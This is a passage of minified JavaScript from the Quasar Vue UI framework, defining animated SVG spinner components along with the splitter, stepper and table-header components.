                    y: "20",
                    width: "70",
                    height: "25"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "height",
                    from: "25",
                    to: "0",
                    dur: "1s",
                    repeatCount: "indefinite",
                    values: "25;0;0",
                    keyTimes: "0;0.5;1"
                }
            }), t("animate", {
                attrs: {
                    attributeName: "y",
                    from: "20",
                    to: "45",
                    dur: "1s",
                    repeatCount: "indefinite",
                    values: "20;45;45",
                    keyTimes: "0;0.5;1"
                }
            })])]), t("clipPath", {
                attrs: {
                    id: "uil-hourglass-clip2"
                }
            }, [t("rect", {
                staticClass: "clip",
                attrs: {
                    x: "15",
                    y: "55",
                    width: "70",
                    height: "25"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "height",
                    from: "0",
                    to: "25",
                    dur: "1s",
                    repeatCount: "indefinite",
                    values: "0;25;25",
                    keyTimes: "0;0.5;1"
                }
            }), t("animate", {
                attrs: {
                    attributeName: "y",
                    from: "80",
                    to: "55",
                    dur: "1s",
                    repeatCount: "indefinite",
                    values: "80;55;55",
                    keyTimes: "0;0.5;1"
                }
            })])]), t("path", {
                staticClass: "sand",
                attrs: {
                    d: "M29,23c3.1,11.4,11.3,19.5,21,19.5S67.9,34.4,71,23H29z",
                    "clip-path": "url(#uil-hourglass-clip1)",
                    fill: "currentColor"
                }
            }), t("path", {
                staticClass: "sand",
                attrs: {
                    d: "M71.6,78c-3-11.6-11.5-20-21.5-20s-18.5,8.4-21.5,20H71.6z",
                    "clip-path": "url(#uil-hourglass-clip2)",
                    fill: "currentColor"
                }
            }), t("animateTransform", {
                attrs: {
                    attributeName: "transform",
                    type: "rotate",
                    from: "0 50 50",
                    to: "180 50 50",
                    repeatCount: "indefinite",
                    dur: "1s",
                    values: "0 50 50;0 50 50;180 50 50",
                    keyTimes: "0;0.7;1"
                }
            })])])
        }
    })
      , Vr = t.extend({
        name: "QSpinnerInfinity",
        mixins: [Ut],
        render: function(t) {
            return t("svg", {
                staticClass: "q-spinner",
                class: this.classes,
                on: Object.assign({}, this.qListeners),
                attrs: {
                    focusable: "false",
                    width: this.cSize,
                    height: this.cSize,
                    viewBox: "0 0 100 100",
                    preserveAspectRatio: "xMidYMid"
                }
            }, [t("path", {
                attrs: {
                    d: "M24.3,30C11.4,30,5,43.3,5,50s6.4,20,19.3,20c19.3,0,32.1-40,51.4-40C88.6,30,95,43.3,95,50s-6.4,20-19.3,20C56.4,70,43.6,30,24.3,30z",
                    fill: "none",
                    stroke: "currentColor",
                    "stroke-width": "8",
                    "stroke-dasharray": "10.691205342610678 10.691205342610678",
                    "stroke-dashoffset": "0"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "stroke-dashoffset",
                    from: "0",
                    to: "21.382410685221355",
                    begin: "0",
                    dur: "2s",
                    repeatCount: "indefinite",
                    fill: "freeze"
                }
            })])])
        }
    })
      , Nr = t.extend({
        name: "QSpinnerIos",
        mixins: [Ut],
        render: function(t) {
            return t("svg", {
                staticClass: "q-spinner",
                class: this.classes,
                on: Object.assign({}, this.qListeners),
                attrs: {
                    focusable: "false",
                    width: this.cSize,
                    height: this.cSize,
                    stroke: "currentColor",
                    fill: "currentColor",
                    viewBox: "0 0 64 64"
                }
            }, [t("g", {
                attrs: {
                    "stroke-width": "4",
                    "stroke-linecap": "round"
                }
            }, [t("line", {
                attrs: {
                    y1: "17",
                    y2: "29",
                    transform: "translate(32,32) rotate(180)"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "stroke-opacity",
                    dur: "750ms",
                    values: "1;.85;.7;.65;.55;.45;.35;.25;.15;.1;0;1",
                    repeatCount: "indefinite"
                }
            })]), t("line", {
                attrs: {
                    y1: "17",
                    y2: "29",
                    transform: "translate(32,32) rotate(210)"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "stroke-opacity",
                    dur: "750ms",
                    values: "0;1;.85;.7;.65;.55;.45;.35;.25;.15;.1;0",
                    repeatCount: "indefinite"
                }
            })]), t("line", {
                attrs: {
                    y1: "17",
                    y2: "29",
                    transform: "translate(32,32) rotate(240)"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "stroke-opacity",
                    dur: "750ms",
                    values: ".1;0;1;.85;.7;.65;.55;.45;.35;.25;.15;.1",
                    repeatCount: "indefinite"
                }
            })]), t("line", {
                attrs: {
                    y1: "17",
                    y2: "29",
                    transform: "translate(32,32) rotate(270)"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "stroke-opacity",
                    dur: "750ms",
                    values: ".15;.1;0;1;.85;.7;.65;.55;.45;.35;.25;.15",
                    repeatCount: "indefinite"
                }
            })]), t("line", {
                attrs: {
                    y1: "17",
                    y2: "29",
                    transform: "translate(32,32) rotate(300)"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "stroke-opacity",
                    dur: "750ms",
                    values: ".25;.15;.1;0;1;.85;.7;.65;.55;.45;.35;.25",
                    repeatCount: "indefinite"
                }
            })]), t("line", {
                attrs: {
                    y1: "17",
                    y2: "29",
                    transform: "translate(32,32) rotate(330)"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "stroke-opacity",
                    dur: "750ms",
                    values: ".35;.25;.15;.1;0;1;.85;.7;.65;.55;.45;.35",
                    repeatCount: "indefinite"
                }
            })]), t("line", {
                attrs: {
                    y1: "17",
                    y2: "29",
                    transform: "translate(32,32) rotate(0)"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "stroke-opacity",
                    dur: "750ms",
                    values: ".45;.35;.25;.15;.1;0;1;.85;.7;.65;.55;.45",
                    repeatCount: "indefinite"
                }
            })]), t("line", {
                attrs: {
                    y1: "17",
                    y2: "29",
                    transform: "translate(32,32) rotate(30)"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "stroke-opacity",
                    dur: "750ms",
                    values: ".55;.45;.35;.25;.15;.1;0;1;.85;.7;.65;.55",
                    repeatCount: "indefinite"
                }
            })]), t("line", {
                attrs: {
                    y1: "17",
                    y2: "29",
                    transform: "translate(32,32) rotate(60)"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "stroke-opacity",
                    dur: "750ms",
                    values: ".65;.55;.45;.35;.25;.15;.1;0;1;.85;.7;.65",
                    repeatCount: "indefinite"
                }
            })]), t("line", {
                attrs: {
                    y1: "17",
                    y2: "29",
                    transform: "translate(32,32) rotate(90)"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "stroke-opacity",
                    dur: "750ms",
                    values: ".7;.65;.55;.45;.35;.25;.15;.1;0;1;.85;.7",
                    repeatCount: "indefinite"
                }
            })]), t("line", {
                attrs: {
                    y1: "17",
                    y2: "29",
                    transform: "translate(32,32) rotate(120)"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "stroke-opacity",
                    dur: "750ms",
                    values: ".85;.7;.65;.55;.45;.35;.25;.15;.1;0;1;.85",
                    repeatCount: "indefinite"
                }
            })]), t("line", {
                attrs: {
                    y1: "17",
                    y2: "29",
                    transform: "translate(32,32) rotate(150)"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "stroke-opacity",
                    dur: "750ms",
                    values: "1;.85;.7;.65;.55;.45;.35;.25;.15;.1;0;1",
                    repeatCount: "indefinite"
                }
            })])])])
        }
    })
      , Hr = t.extend({
        name: "QSpinnerOval",
        mixins: [Ut],
        render: function(t) {
            return t("svg", {
                staticClass: "q-spinner",
                class: this.classes,
                on: Object.assign({}, this.qListeners),
                attrs: {
                    focusable: "false",
                    stroke: "currentColor",
                    width: this.cSize,
                    height: this.cSize,
                    viewBox: "0 0 38 38",
                    xmlns: "http://www.w3.org/2000/svg"
                }
            }, [t("g", {
                attrs: {
                    transform: "translate(1 1)",
                    "stroke-width": "2",
                    fill: "none",
                    "fill-rule": "evenodd"
                }
            }, [t("circle", {
                attrs: {
                    "stroke-opacity": ".5",
                    cx: "18",
                    cy: "18",
                    r: "18"
                }
            }), t("path", {
                attrs: {
                    d: "M36 18c0-9.94-8.06-18-18-18"
                }
            }, [t("animateTransform", {
                attrs: {
                    attributeName: "transform",
                    type: "rotate",
                    from: "0 18 18",
                    to: "360 18 18",
                    dur: "1s",
                    repeatCount: "indefinite"
                }
            })])])])
        }
    })
      , Qr = t.extend({
        name: "QSpinnerPie",
        mixins: [Ut],
        render: function(t) {
            return t("svg", {
                staticClass: "q-spinner",
                class: this.classes,
                on: Object.assign({}, this.qListeners),
                attrs: {
                    focusable: "false",
                    width: this.cSize,
                    height: this.cSize,
                    viewBox: "0 0 100 100",
                    preserveAspectRatio: "xMidYMid",
                    xmlns: "http://www.w3.org/2000/svg"
                }
            }, [t("path", {
                attrs: {
                    d: "M0 50A50 50 0 0 1 50 0L50 50L0 50",
                    fill: "currentColor",
                    opacity: "0.5"
                }
            }, [t("animateTransform", {
                attrs: {
                    attributeName: "transform",
                    type: "rotate",
                    from: "0 50 50",
                    to: "360 50 50",
                    dur: "0.8s",
                    repeatCount: "indefinite"
                }
            })]), t("path", {
                attrs: {
                    d: "M50 0A50 50 0 0 1 100 50L50 50L50 0",
                    fill: "currentColor",
                    opacity: "0.5"
                }
            }, [t("animateTransform", {
                attrs: {
                    attributeName: "transform",
                    type: "rotate",
                    from: "0 50 50",
                    to: "360 50 50",
                    dur: "1.6s",
                    repeatCount: "indefinite"
                }
            })]), t("path", {
                attrs: {
                    d: "M100 50A50 50 0 0 1 50 100L50 50L100 50",
                    fill: "currentColor",
                    opacity: "0.5"
                }
            }, [t("animateTransform", {
                attrs: {
                    attributeName: "transform",
                    type: "rotate",
                    from: "0 50 50",
                    to: "360 50 50",
                    dur: "2.4s",
                    repeatCount: "indefinite"
                }
            })]), t("path", {
                attrs: {
                    d: "M50 100A50 50 0 0 1 0 50L50 50L50 100",
                    fill: "currentColor",
                    opacity: "0.5"
                }
            }, [t("animateTransform", {
                attrs: {
                    attributeName: "transform",
                    type: "rotate",
                    from: "0 50 50",
                    to: "360 50 50",
                    dur: "3.2s",
                    repeatCount: "indefinite"
                }
            })])])
        }
    })
      , Wr = t.extend({
        name: "QSpinnerPuff",
        mixins: [Ut],
        render: function(t) {
            return t("svg", {
                staticClass: "q-spinner",
                class: this.classes,
                on: Object.assign({}, this.qListeners),
                attrs: {
                    focusable: "false",
                    stroke: "currentColor",
                    width: this.cSize,
                    height: this.cSize,
                    viewBox: "0 0 44 44",
                    xmlns: "http://www.w3.org/2000/svg"
                }
            }, [t("g", {
                attrs: {
                    fill: "none",
                    "fill-rule": "evenodd",
                    "stroke-width": "2"
                }
            }, [t("circle", {
                attrs: {
                    cx: "22",
                    cy: "22",
                    r: "1"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "r",
                    begin: "0s",
                    dur: "1.8s",
                    values: "1; 20",
                    calcMode: "spline",
                    keyTimes: "0; 1",
                    keySplines: "0.165, 0.84, 0.44, 1",
                    repeatCount: "indefinite"
                }
            }), t("animate", {
                attrs: {
                    attributeName: "stroke-opacity",
                    begin: "0s",
                    dur: "1.8s",
                    values: "1; 0",
                    calcMode: "spline",
                    keyTimes: "0; 1",
                    keySplines: "0.3, 0.61, 0.355, 1",
                    repeatCount: "indefinite"
                }
            })]), t("circle", {
                attrs: {
                    cx: "22",
                    cy: "22",
                    r: "1"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "r",
                    begin: "-0.9s",
                    dur: "1.8s",
                    values: "1; 20",
                    calcMode: "spline",
                    keyTimes: "0; 1",
                    keySplines: "0.165, 0.84, 0.44, 1",
                    repeatCount: "indefinite"
                }
            }), t("animate", {
                attrs: {
                    attributeName: "stroke-opacity",
                    begin: "-0.9s",
                    dur: "1.8s",
                    values: "1; 0",
                    calcMode: "spline",
                    keyTimes: "0; 1",
                    keySplines: "0.3, 0.61, 0.355, 1",
                    repeatCount: "indefinite"
                }
            })])])])
        }
    })
      , Yr = t.extend({
        name: "QSpinnerRadio",
        mixins: [Ut],
        render: function(t) {
            return t("svg", {
                staticClass: "q-spinner",
                class: this.classes,
                on: Object.assign({}, this.qListeners),
                attrs: {
                    focusable: "false",
                    width: this.cSize,
                    height: this.cSize,
                    viewBox: "0 0 100 100",
                    preserveAspectRatio: "xMidYMid",
                    xmlns: "http://www.w3.org/2000/svg"
                }
            }, [t("g", {
                attrs: {
                    transform: "scale(0.55)"
                }
            }, [t("circle", {
                attrs: {
                    cx: "30",
                    cy: "150",
                    r: "30",
                    fill: "currentColor"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "opacity",
                    from: "0",
                    to: "1",
                    dur: "1s",
                    begin: "0",
                    repeatCount: "indefinite",
                    keyTimes: "0;0.5;1",
                    values: "0;1;1"
                }
            })]), t("path", {
                attrs: {
                    d: "M90,150h30c0-49.7-40.3-90-90-90v30C63.1,90,90,116.9,90,150z",
                    fill: "currentColor"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "opacity",
                    from: "0",
                    to: "1",
                    dur: "1s",
                    begin: "0.1",
                    repeatCount: "indefinite",
                    keyTimes: "0;0.5;1",
                    values: "0;1;1"
                }
            })]), t("path", {
                attrs: {
                    d: "M150,150h30C180,67.2,112.8,0,30,0v30C96.3,30,150,83.7,150,150z",
                    fill: "currentColor"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "opacity",
                    from: "0",
                    to: "1",
                    dur: "1s",
                    begin: "0.2",
                    repeatCount: "indefinite",
                    keyTimes: "0;0.5;1",
                    values: "0;1;1"
                }
            })])])])
        }
    })
      , Ur = t.extend({
        name: "QSpinnerRings",
        mixins: [Ut],
        render: function(t) {
            return t("svg", {
                staticClass: "q-spinner",
                class: this.classes,
                on: Object.assign({}, this.qListeners),
                attrs: {
                    focusable: "false",
                    stroke: "currentColor",
                    width: this.cSize,
                    height: this.cSize,
                    viewBox: "0 0 45 45",
                    xmlns: "http://www.w3.org/2000/svg"
                }
            }, [t("g", {
                attrs: {
                    fill: "none",
                    "fill-rule": "evenodd",
                    transform: "translate(1 1)",
                    "stroke-width": "2"
                }
            }, [t("circle", {
                attrs: {
                    cx: "22",
                    cy: "22",
                    r: "6"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "r",
                    begin: "1.5s",
                    dur: "3s",
                    values: "6;22",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            }), t("animate", {
                attrs: {
                    attributeName: "stroke-opacity",
                    begin: "1.5s",
                    dur: "3s",
                    values: "1;0",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            }), t("animate", {
                attrs: {
                    attributeName: "stroke-width",
                    begin: "1.5s",
                    dur: "3s",
                    values: "2;0",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })]), t("circle", {
                attrs: {
                    cx: "22",
                    cy: "22",
                    r: "6"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "r",
                    begin: "3s",
                    dur: "3s",
                    values: "6;22",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            }), t("animate", {
                attrs: {
                    attributeName: "stroke-opacity",
                    begin: "3s",
                    dur: "3s",
                    values: "1;0",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            }), t("animate", {
                attrs: {
                    attributeName: "stroke-width",
                    begin: "3s",
                    dur: "3s",
                    values: "2;0",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })]), t("circle", {
                attrs: {
                    cx: "22",
                    cy: "22",
                    r: "8"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "r",
                    begin: "0s",
                    dur: "1.5s",
                    values: "6;1;2;3;4;5;6",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })])])])
        }
    })
      , Kr = t.extend({
        name: "QSpinnerTail",
        mixins: [Ut],
        render: function(t) {
            return t("svg", {
                staticClass: "q-spinner",
                class: this.classes,
                on: Object.assign({}, this.qListeners),
                attrs: {
                    focusable: "false",
                    width: this.cSize,
                    height: this.cSize,
                    viewBox: "0 0 38 38",
                    xmlns: "http://www.w3.org/2000/svg"
                }
            }, [t("defs", [t("linearGradient", {
                attrs: {
                    x1: "8.042%",
                    y1: "0%",
                    x2: "65.682%",
                    y2: "23.865%",
                    id: "a"
                }
            }, [t("stop", {
                attrs: {
                    "stop-color": "currentColor",
                    "stop-opacity": "0",
                    offset: "0%"
                }
            }), t("stop", {
                attrs: {
                    "stop-color": "currentColor",
                    "stop-opacity": ".631",
                    offset: "63.146%"
                }
            }), t("stop", {
                attrs: {
                    "stop-color": "currentColor",
                    offset: "100%"
                }
            })])]), t("g", {
                attrs: {
                    transform: "translate(1 1)",
                    fill: "none",
                    "fill-rule": "evenodd"
                }
            }, [t("path", {
                attrs: {
                    d: "M36 18c0-9.94-8.06-18-18-18",
                    stroke: "url(#a)",
                    "stroke-width": "2"
                }
            }, [t("animateTransform", {
                attrs: {
                    attributeName: "transform",
                    type: "rotate",
                    from: "0 18 18",
                    to: "360 18 18",
                    dur: "0.9s",
                    repeatCount: "indefinite"
                }
            })]), t("circle", {
                attrs: {
                    fill: "currentColor",
                    cx: "36",
                    cy: "18",
                    r: "1"
                }
            }, [t("animateTransform", {
                attrs: {
                    attributeName: "transform",
                    type: "rotate",
                    from: "0 18 18",
                    to: "360 18 18",
                    dur: "0.9s",
                    repeatCount: "indefinite"
                }
            })])])])
        }
    })
      , Xr = t.extend({
        name: "QSplitter",
        mixins: [Dt, Mt],
        directives: {
            TouchPan: Qi
        },
        props: {
            value: {
                type: Number,
                required: !0
            },
            reverse: Boolean,
            unit: {
                type: String,
                default: "%",
                validator: function(t) {
                    return ["%", "px"].includes(t)
                }
            },
            limits: {
                type: Array,
                validator: function(t) {
                    return 2 === t.length && ("number" == typeof t[0] && "number" == typeof t[1] && (t[0] >= 0 && t[0] <= t[1]))
                }
            },
            emitImmediately: Boolean,
            horizontal: Boolean,
            disable: Boolean,
            beforeClass: [Array, String, Object],
            afterClass: [Array, String, Object],
            separatorClass: [Array, String, Object],
            separatorStyle: [Array, String, Object]
        },
        watch: {
            value: {
                immediate: !0,
                handler: function(t) {
                    this.__normalize(t, this.computedLimits)
                }
            },
            limits: {
                deep: !0,
                handler: function() {
                    var t = this;
                    this.$nextTick(function() {
                        t.__normalize(t.value, t.computedLimits)
                    })
                }
            }
        },
        computed: {
            classes: function() {
                return (!0 === this.horizontal ? "column" : "row") + " q-splitter--" + (!0 === this.horizontal ? "horizontal" : "vertical") + " q-splitter--" + (!0 === this.disable ? "disabled" : "workable") + (!0 === this.isDark ? " q-splitter--dark" : "")
            },
            prop: function() {
                return !0 === this.horizontal ? "height" : "width"
            },
            side: function() {
                return !0 !== this.reverse ? "before" : "after"
            },
            computedLimits: function() {
                return void 0 !== this.limits ? this.limits : "%" === this.unit ? [10, 90] : [50, 1 / 0]
            },
            styles: function() {
                var t, e;
                return (e = {})[this.side] = ((t = {})[this.prop] = this.__getCSSValue(this.value),
                t),
                e
            }
        },
        methods: {
            __pan: function(t) {
                if (!0 === t.isFirst) {
                    var e = this.$el.getBoundingClientRect()[this.prop];
                    return this.__dir = !0 === this.horizontal ? "up" : "left",
                    this.__maxValue = "%" === this.unit ? 100 : e,
                    this.__value = Math.min(this.__maxValue, this.computedLimits[1], Math.max(this.computedLimits[0], this.value)),
                    this.__multiplier = (!0 !== this.reverse ? 1 : -1) * (!0 === this.horizontal ? 1 : !0 === this.$q.lang.rtl ? -1 : 1) * ("%" === this.unit ? 0 === e ? 0 : 100 / e : 1),
                    void this.$el.classList.add("q-splitter--active")
                }
                if (!0 === t.isFinal)
                    return this.__normalized !== this.value && this.$emit("input", this.__normalized),
                    void this.$el.classList.remove("q-splitter--active");
                var i = this.__value + this.__multiplier * (t.direction === this.__dir ? -1 : 1) * t.distance[!0 === this.horizontal ? "y" : "x"];
                this.__normalized = Math.min(this.__maxValue, this.computedLimits[1], Math.max(this.computedLimits[0], i)),
                this.$refs[this.side].style[this.prop] = this.__getCSSValue(this.__normalized),
                !0 === this.emitImmediately && this.value !== this.__normalized && this.$emit("input", this.__normalized)
            },
            __normalize: function(t, e) {
                t < e[0] ? this.$emit("input", e[0]) : t > e[1] && this.$emit("input", e[1])
            },
            __getCSSValue: function(t) {
                return ("%" === this.unit ? t : Math.round(t)) + this.unit
            }
        },
        render: function(t) {
            var e = !0 === this.disable ? {
                "aria-disabled": ""
            } : void 0
              , i = [t("div", {
                ref: "before",
                staticClass: "q-splitter__panel q-splitter__before" + (!0 === this.reverse ? " col" : ""),
                style: this.styles.before,
                class: this.beforeClass,
                on: mt(this, "stop", {
                    input: y
                })
            }, Lt(this, "before")), t("div", {
                staticClass: "q-splitter__separator",
                style: this.separatorStyle,
                class: this.separatorClass,
                attrs: e
            }, [t("div", {
                staticClass: "absolute-full q-splitter__separator-area",
                directives: !0 === this.disable ? void 0 : mt(this, "dir#" + this.horizontal, [{
                    name: "touch-pan",
                    value: this.__pan,
                    modifiers: {
                        horizontal: !0 !== this.horizontal,
                        vertical: this.horizontal,
                        prevent: !0,
                        stop: !0,
                        mouse: !0,
                        mouseAllDir: !0
                    }
                }])
            }, Lt(this, "separator"))]), t("div", {
                ref: "after",
                staticClass: "q-splitter__panel q-splitter__after" + (!0 === this.reverse ? "" : " col"),
                style: this.styles.after,
                class: this.afterClass,
                on: mt(this, "stop", {
                    input: y
                })
            }, Lt(this, "after"))];
            return t("div", {
                staticClass: "q-splitter no-wrap",
                class: this.classes,
                on: Object.assign({}, this.qListeners)
            }, Pt(i, this, "default"))
        }
    })
      , Gr = t.extend({
        name: "StepHeader",
        mixins: [_t],
        directives: {
            Ripple: ne
        },
        props: {
            stepper: {},
            step: {}
        },
        computed: {
            isActive: function() {
                return this.stepper.value === this.step.name
            },
            isDisable: function() {
                var t = this.step.disable;
                return !0 === t || "" === t
            },
            isError: function() {
                var t = this.step.error;
                return !0 === t || "" === t
            },
            isDone: function() {
                var t = this.step.done;
                return !1 === this.isDisable && (!0 === t || "" === t)
            },
            headerNav: function() {
                var t = this.step.headerNav
                  , e = !0 === t || "" === t || void 0 === t;
                return !1 === this.isDisable && this.stepper.headerNav && e
            },
            hasPrefix: function() {
                return this.step.prefix && !1 === this.isActive && !1 === this.isError && !1 === this.isDone
            },
            icon: function() {
                return !0 === this.isActive ? this.step.activeIcon || this.stepper.activeIcon || this.$q.iconSet.stepper.active : !0 === this.isError ? this.step.errorIcon || this.stepper.errorIcon || this.$q.iconSet.stepper.error : !1 === this.isDisable && !0 === this.isDone ? this.step.doneIcon || this.stepper.doneIcon || this.$q.iconSet.stepper.done : this.step.icon || this.stepper.inactiveIcon
            },
            color: function() {
                var t = !0 === this.isError ? this.step.errorColor || this.stepper.errorColor : void 0;
                if (!0 === this.isActive) {
                    var e = this.step.activeColor || this.stepper.activeColor || this.step.color;
                    return void 0 !== e ? e : t
                }
                return void 0 !== t ? t : !1 === this.isDisable && !0 === this.isDone ? this.step.doneColor || this.stepper.doneColor || this.step.color || this.stepper.inactiveColor : this.step.color || this.stepper.inactiveColor
            },
            classes: function() {
                return "q-stepper__tab col-grow flex items-center no-wrap relative-position" + (void 0 !== this.color ? " text-" + this.color : "") + (!0 === this.isError ? " q-stepper__tab--error" : "") + (!0 === this.isActive ? " q-stepper__tab--active" : "") + (!0 === this.isDone ? " q-stepper__tab--done" : "") + (!0 === this.headerNav ? " q-stepper__tab--navigation q-focusable q-hoverable" : "") + (!0 === this.isDisable ? " q-stepper__tab--disabled" : "")
            }
        },
        methods: {
            activate: function() {
                void 0 !== this.$refs.blurTarget && this.$refs.blurTarget.focus(),
                !1 === this.isActive && this.stepper.goTo(this.step.name)
            },
            keyup: function(t) {
                13 === t.keyCode && !1 === this.isActive && this.stepper.goTo(this.step.name)
            }
        },
        render: function(t) {
            var e = {
                class: this.classes
            };
            !0 === this.stepper.headerNav && (e.directives = [{
                name: "ripple",
                value: this.headerNav
            }]),
            !0 === this.headerNav && Object.assign(e, {
                on: mt(this, "headnavon", {
                    click: this.activate,
                    keyup: this.keyup
                }),
                attrs: !0 === this.isDisable ? {
                    tabindex: -1,
                    "aria-disabled": ""
                } : {
                    tabindex: this.qAttrs.tabindex || 0
                }
            });
            var i = [t("div", {
                staticClass: "q-focus-helper",
                attrs: {
                    tabindex: -1
                },
                ref: "blurTarget"
            }), t("div", {
                staticClass: "q-stepper__dot row flex-center q-stepper__line relative-position"
            }, [t("span", {
                staticClass: "row flex-center"
            }, [!0 === this.hasPrefix ? this.step.prefix : t(Et, {
                props: {
                    name: this.icon
                }
            })])])];
            if (void 0 !== this.step.title && null !== this.step.title) {
                var s = [t("div", {
                    staticClass: "q-stepper__title"
                }, [this.step.title])];
                void 0 !== this.step.caption && null !== this.step.caption && s.push(t("div", {
                    staticClass: "q-stepper__caption"
                }, [this.step.caption])),
                i.push(t("div", {
                    staticClass: "q-stepper__label q-stepper__line relative-position"
                }, s))
            }
            return t("div", e, i)
        }
    })
      , Zr = t.extend({
        name: "QStepWrapper",
        render: function(t) {
            return t("div", {
                staticClass: "q-stepper__step-content"
            }, [t("div", {
                staticClass: "q-stepper__step-inner"
            }, Lt(this, "default"))])
        }
    })
      , Jr = t.extend({
        name: "QStep",
        inject: {
            stepper: {
                default: function() {
                    console.error("QStep needs to be child of QStepper")
                }
            }
        },
        mixins: [vi],
        props: {
            icon: String,
            color: String,
            title: {
                type: String,
                required: !0
            },
            caption: String,
            prefix: [String, Number],
            doneIcon: String,
            doneColor: String,
            activeIcon: String,
            activeColor: String,
            errorIcon: String,
            errorColor: String,
            headerNav: {
                type: Boolean,
                default: !0
            },
            done: Boolean,
            error: Boolean
        },
        computed: {
            isActive: function() {
                return this.stepper.value === this.name
            }
        },
        watch: {
            isActive: function(t) {
                var e = this;
                !0 === t && !0 === this.stepper.vertical && this.$nextTick(function() {
                    void 0 !== e.$el && (e.$el.scrollTop = 0)
                })
            }
        },
        render: function(t) {
            var e = this.stepper.vertical
              , i = !0 === e && !0 === this.stepper.keepAlive ? t("keep-alive", !0 === this.isActive ? [t(Zr, {
                key: this.name
            }, Lt(this, "default"))] : void 0) : !0 !== e || !0 === this.isActive ? Zr.options.render.call(this, t) : void 0;
            return t("div", {
                staticClass: "q-stepper__step",
                on: Object.assign({}, this.qListeners)
            }, !0 === e ? [t(Gr, {
                props: {
                    stepper: this.stepper,
                    step: this
                }
            }), !0 === this.stepper.animated ? t(ao, [i]) : i] : [i])
        }
    })
      , ta = t.extend({
        name: "QStepper",
        provide: function() {
            return {
                stepper: this
            }
        },
        mixins: [Dt, mi],
        props: {
            flat: Boolean,
            bordered: Boolean,
            alternativeLabels: Boolean,
            headerNav: Boolean,
            contracted: Boolean,
            headerClass: String,
            inactiveColor: String,
            inactiveIcon: String,
            doneIcon: String,
            doneColor: String,
            activeIcon: String,
            activeColor: String,
            errorIcon: String,
            errorColor: String
        },
        computed: {
            classes: function() {
                return "q-stepper q-stepper--" + (!0 === this.vertical ? "vertical" : "horizontal") + (!0 === this.flat || !0 === this.isDark ? " q-stepper--flat no-shadow" : "") + (!0 === this.bordered || !0 === this.isDark && !1 === this.flat ? " q-stepper--bordered" : "") + (!0 === this.contracted ? " q-stepper--contracted" : "") + (!0 === this.isDark ? " q-stepper--dark q-dark" : "")
            },
            headerClasses: function() {
                return "q-stepper__header row items-stretch justify-between q-stepper__header--" + (!0 === this.alternativeLabels ? "alternative" : "standard") + "-labels" + (!1 === this.flat || !0 === this.bordered ? " q-stepper__header--border" : "") + (void 0 !== this.headerClass ? " " + this.headerClass : "")
            }
        },
        methods: {
            __getContent: function(t) {
                var e = this
                  , i = Lt(this, "message", []);
                return !0 === this.vertical ? (this.__isValidPanelName(this.value) && this.__updatePanelIndex(),
                (void 0 === i ? [] : i).concat(t("div", {
                    staticClass: "q-stepper__content",
                    on: mt(this, "stop", {
                        input: y
                    })
                }, Lt(this, "default")))) : [t("div", {
                    class: this.headerClasses
                }, this.__getAllPanels().map(function(i) {
                    var s = i.componentOptions.propsData;
                    return t(Gr, {
                        key: s.name,
                        props: {
                            stepper: e,
                            step: s
                        }
                    })
                }))].concat(i, t("div", {
                    staticClass: "q-stepper__content q-panel-parent",
                    directives: this.panelDirectives
                }, this.__getPanelContent(t)))
            },
            __renderPanels: function(t) {
                return t("div", {
                    class: this.classes,
                    on: Object.assign({}, this.qListeners)
                }, Pt(this.__getContent(t), this, "navigation"))
            }
        }
    })
      , ea = t.extend({
        name: "QStepperNavigation",
        mixins: [Mt],
        render: function(t) {
            return t("div", {
                staticClass: "q-stepper__nav",
                on: Object.assign({}, this.qListeners)
            }, Lt(this, "default"))
        }
    })
      , ia = t.extend({
        name: "QTh",
        mixins: [Mt],
        props: {
            props: Object,
            autoWidth: Boolean
        },
        render: function(t) {
            var e, i, s = this, n = Object.assign({}, this.qListeners);
            if (void 0 === this.props)
                return t("th", {
                    on: n,
                    class: !0 === this.autoWidth ? "q-table--col-auto-width" : null
                }, Lt(this, "default"));
            var o = this.$vnode.key;
            if (o) {
                if (void 0 === (e = this.props.colsMap[o]))
                    return
            } else
                e = this.props.col;
            if (!0 === e.sortable) {
                var r = "right" === e.align ? "unshift" : "push";
                (i = Bt(this, "default", []))[r](t(Et, {
                    props: {
                        name: this.$q.iconSet.table.arrowUp
                    },
                    staticClass: e.__iconClass
                }))
            } else
                i = Lt(this, "default");
            var a = !0 === e.sortable ? {
                click: function(t) {
                    s.props.sort(e),
                    s.$emit("click", t)
                }
            } : {};
            return t("th", {
                on: Object.assign({}, n, a),
                style: e.headerStyle,
                class: e.__thClass + (!0 === this.autoWidth ? " q-table--col-auto-width" : "")
            }, i)
        }
    })
      , sa = {
        methods: {
            getTableHeader: function(t) {
                var e = this.getTableHeaderRow(t);
                return !0 === this.loading && void 0 === this.$scopedSlots.loading && e.push(t("tr", {
                    staticClass: "q-table__progress"
                }, [t("th", {
                    staticClass: "relative-position",
                    attrs: {
                        colspan: "100%"
                    }
                }, this.__getProgress(t))])),
                t("thead", e)
            },
